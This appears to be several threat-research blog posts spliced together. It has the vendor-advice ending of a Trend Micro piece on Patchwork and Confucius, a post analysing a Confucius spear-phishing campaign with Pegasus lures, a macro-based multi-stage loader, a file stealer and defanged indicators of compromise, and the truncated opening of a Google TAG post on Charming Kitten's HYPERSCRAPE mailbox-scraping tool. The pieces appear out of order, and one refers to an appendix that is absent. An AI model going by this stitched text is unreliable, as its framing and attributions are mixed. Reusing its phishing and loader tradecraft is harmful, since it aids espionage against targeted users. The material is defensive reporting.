Threat actors are notorious for creating stealthy malware that can bypass superficial network monitoring.


A more proactive stance that includes proper application of firewalls and intrusion detection and prevention systems can help mitigate the impact of an attack Implement network segmentation.


Even with the best security technology, there is still a chance of an attack slipping through.


Separating the network into individual parts, as well as restricting access to only those who really need it, can mitigate the damage that occurs in case of a successful attack.


Update systems regularly.


Everything from endpoints to network software to IoT devices should be patched and updated to prevent or minimize the chance of a threat actor exploiting a vulnerability  In an ideal scenario, an organization’s in-house security team implement all of these and other security measures.


The reality is that IT departments of small to large-sized organizations are not equipped to handle the more advanced threats that groups like Confucius use in their attacks.


Since these teams also handle the day-to-day IT requirements of the organization, taking on a more involved and proactive stance may not be easy.


In this case, an organization can look into third party security providers who can handle specialized work, such as root cause analysis and detailed research, and also provide a remediation plan that gives organizations a better chance against advanced threats.


Trend Micro Solutions Patchwork uses email as an entry point, which is why securing the email gateway is important.


Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.  Trend Micro™ Email Inspector and InterScan™ Web Security prevent malware from ever reaching end users.


At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of Patchwork’s attacks.


These solutions are powered by Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.


It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protect physical, virtual, and cloud workloads.


This appendix contains the latest indicators of compromise (IOCs) related to the different groups.


Tags  APT & Targeted Attacks | Endpoints | Research | Network


Introduction


While investigating the Confucius threat actor, we found a recent spear phishing campaign that utilizes Pegasus spyware-related lures to entice victims into opening a malicious document downloading a file stealer.


The NSO Group’s spyware spurred a collaborative investigation that found that it was being used to target high-ranking individuals in 11 different countries.


In this blog entry, we take a look at the lures used by the malicious actor and provide a short analysis of the file stealer used in the campaign, which was launched in early August.


The contents of the spear phishing email The campaign involves a two-step attack.


During the first phase, an email without a malicious payload containing content copied from a legitimate Pakistani newspaper’s article is sent to the target.


The sender address, which is spoofed, impersonates the PR wing of the Pakistani Armed Forces (info@ispr.gov.pk).


Two days later, a second email — purportedly a warning from a Pakistani military about the Pegasus spyware — containing a cutt.ly link to a malicious encrypted Word document and the password for decryption will be sent to the target.


The sender address impersonates a service similar to that on the first email (alert@ispr.gov.pk).       Figure 1.


Spear-phishing email from early August.


Notice the insertion of logos from the Pakistani Army, Air Force, Navy, and PR department.


If the target clicks on either the link or on the “unsubscribe” link, it will download a Word document from the domain parinari[.]xyz.


The emails are sent either from an ExpressVPN exit node in Pakistan, or from a mail server under the attacker’s control.


Examining the encrypted document containing macros After entering the password mentioned in the message, a document containing macros is displayed on screen.


Figure 2. Malicious document containing macros


If the victim enables macros, the malicious code will be loaded.


If the victim enters any phone number and clicks “SUBMIT,” the text field will be replaced by the message “Phone Number Not Found.”


Behind the scenes, a .NET DLL file named skfk.txt, which is filled with content found inside the “Comments” property of the document, is created in the temporary directory.


The file is then loaded in memory via PowerShell.


Stage 1 is a simple download & execute program.


It downloads an ASCII file from the same domain and converts it into binary before loading it on to the memory and jump to a dynamic function.


Stage 2 is also .NET DLL file that downloads a third file from parinari[.]xyz, converts it from ASCII to binary, and then creates a scheduled task to load it.


Stage 3 is similar to stage 1, with the only change being the URL to retrieve the next stage.


Stage 4 is the final payload (analyzed in the next section).


it is never written in clear text to the file disk.


Figure 3.


File stealer loading scheme


It should be noted that most of the compilation timestamps of these DLL files have been modified by the attacker to a year in the far future (2060, 2099 …), and the server IP addresses are often hidden behind CloudFlare.


Analysis of the file stealer


The final payload is a .NET DLL file designed to steal documents and images with the following extensions:  File extension  Description  TXT  Text file  PDF  PDF file  PNG  Image file in PNG format  JPG  Image file in JPG format  DOC  Word document  XLS  Excel document  XLM  Excel document with macros  ODP  OpenDocument Presentation  ODS  OpenDocument Sheet  ODT  OpenDocument Text  RTF  Rich Text Format file  PPT  PowerPoint document  XLSX  Excel document  XLSM  Excel document with macros  DOCX  Word document  PPTX  PowerPoint document  JPEG  Image file in JPEG format


The “Documents,” “Downloads,” “Desktop,” and “Pictures” folders of every user


are checked.


The DLL file also examines drives other than C:


.      Figure 4. Code showing the main function of the file stealer


When a file matching one of the listed extensions is found, its MD5 hash is calculated and compared to an exclusion list retrieved from the command-and-control (C&C) server pirnaram[.]xyz.


If the hash is not listed, the file is sent via the C&C to a directory named after the concatenation of the machine name and the username.


The exclusion list is different for every machine name-username string.


Other campaigns


During our monitoring of Confucius, we came across a campaign delivering the same payload, using a different lure.


In this instance, the campaign impersonated the Pakistani Defense Housing Authority.


Again, this threat actor’s interest in military personnel is obvious.


Figure 5.


Spear-phishing email from early August


The lures used in an older campaign from April 2021 impersonated the Federal Board of Revenue.


There were minor differences in tools, tactics, and procedures: the malicious document was directly attached to the spear phishing email — still encrypted — and the decryption password was sent in a different email.


The first stage was also hidden in the “Comments” section.


However, the second stage contained the final payload, which was once again a file stealer with the exact same structure (a .NET DLL).


Instead of exfiltrating the files through PHP scripts, they were done via FTP server.


It should be noted that in some occasions, the threat actor sent spear-phishing emails from the domain name mailerservice[.]directory which we attributed to the Patchwork threat actor in previous research.


We disclosed multiple links between Patchwork and Confucius threat actors in the past, so this came as no surprise to us.


The creative use of social engineering lures and how to defend against them


In our previous research, we already found Confucius, which is known for targeting Pakistan military for espionage purposes, employing multiple file stealers.


While the code quality of its payloads is not of the highest standard, this threat actor uses innovative techniques when crafting its malicious documents, such as  hiding malicious code in the comments section, or using encrypted documents to prevent automatic analysis.


Therefore, it’s highly likely that Confucius will continue to experiment and try out different kinds of social engineering lures in future campaigns.


Despite the variety of lures used by the threat actor, best security practices still apply to these attacks.


Users should always be wary and avoid clicking on any link or downloading any file from unsolicited emails or suspicious sources.


Red flags such as unusual sender domains or grammatical and spelling errors are also a sign that the email is malicious in nature, or at the very least, should be approached with proper security protocols in mind.


The following security solutions can also protect users from email-based attacks:  Trend Micro™ Cloud App Security – Enhances the security of Microsoft Office 365 and other cloud services via computer vision and real-time scanning.


It also protects organizations from email-based threats.


Trend Micro™ Deep Discovery™ Email Inspector – Defends users through a combination of real-time scanning and advanced analysis techniques for known and unknown attacks.    Indicators of Compromise Hashes of the malicious encrypted documents:      SHA256  Detection name  dacf7868a71440a7d7d8797caca1aa29b7780801e6f3b3bc33123f16989354b2  Trojan.W97M.CONFUCIUS.A  0f6bcbdf4d192f8273887f9858819dd4690397a92fb28a60bb731c873c438e07  Trojan.W97M.CONFUCIUS.B


Trojan.W97M.CONFUCIUS.B  654c7021a4482da21e149ded58643b279ffbce66badf1a0a7fc3551acd607312  Trojan.W97M.CONFUCIUS.C  712172b5b1895bbfcced961a83baa448e26e93e301be407e6b9dc8cb6526277f  Trojan.Win32.DLOADR.TIOIBELQ


URLs/Domains/IP Addresses      Server hosting malicious documents  parinari[.]xyz  Server used for file exfiltration  pirnaram[.]xyz  Domain names linked to other campaigns


pemra[.]email  ispr[.]email  fbr[.]news  defencepk[.]email  pakistanarmy[.]email  pmogovpk[.]email  mailerservice[.]directory  file-dnld[.]com  funtifu[.]live  cnic-update[.]com  cnic-ferify[.]live  fbr-update[.]com  download.fbr[.]tax  support-team[.]tech  api.priveetalk[.]com       Sender email addresses      latest_info@fbr.news  notice@fbr.news  alert@fbr.news  thenewsinernational@mailerservice.directory


Tags  APT & Targeted Attacks | Cyber Crime | Research | Articles, News, Reports


As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.


For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.


Now, we’re shining light on a new tool of theirs.


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


We have seen it deployed against fewer than two dozen accounts located in Iran.


The oldest known sample is from 2020, and the tool is still under active development.


We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.


This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.


HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.


Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.


After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.